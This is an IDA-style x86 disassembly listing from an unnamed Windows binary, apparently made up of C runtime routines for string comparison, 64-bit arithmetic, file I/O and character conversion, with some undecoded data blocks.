sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 2770000h lea eax, [ebp+var_20] push eax nop call near ptr 2880000h mov ax, [ebp+var_16] cmp ax, word_4DB312 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB310 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB30E jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB30A jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB308 jnz short loc_41D0E6 mov eax, dword_4DB300 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2870000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB308 movsd movsd movsd movsd pop edi mov dword_4DB300, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB35C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB2A8, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 2670B81h nop cmp eax, 0FFFFFFFFh jnz short loc_41D3DE nop call near ptr 267064Ch push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB2A8, 0Dh mov dword_4DB2AC, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB364 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C534, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C534, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB364, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C534, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C328 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB364 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB364, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB374 call esi test eax, eax jnz loc_41D92D call near ptr 267064Ch nop cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C328 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB374 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB364, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB374 nop call near ptr 2820000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 1Ah dd 8506D78Fh, 0BB096EFBh, 0FF4FC1B5h, 0A164F299h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 400EE8E8h, 33900247h, 89D48AD2h dd 4DB2C015h, 81C88B00h, 0FFE1h, 0BC0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2B80D89h, 0E8C1004Dh, 0B2B4A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 473F9CE8h, 0C94CA302h, 19E8004Dh dd 0A3000058h, 4DB318h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024726h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 99E89056h, 50022532h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB320, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2F0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB320 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 0E8000000h dd 77A58245h db 90h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC700 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 26508C8h test eax, eax jnz short loc_41DAEB nop call near ptr 267064Ch mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax 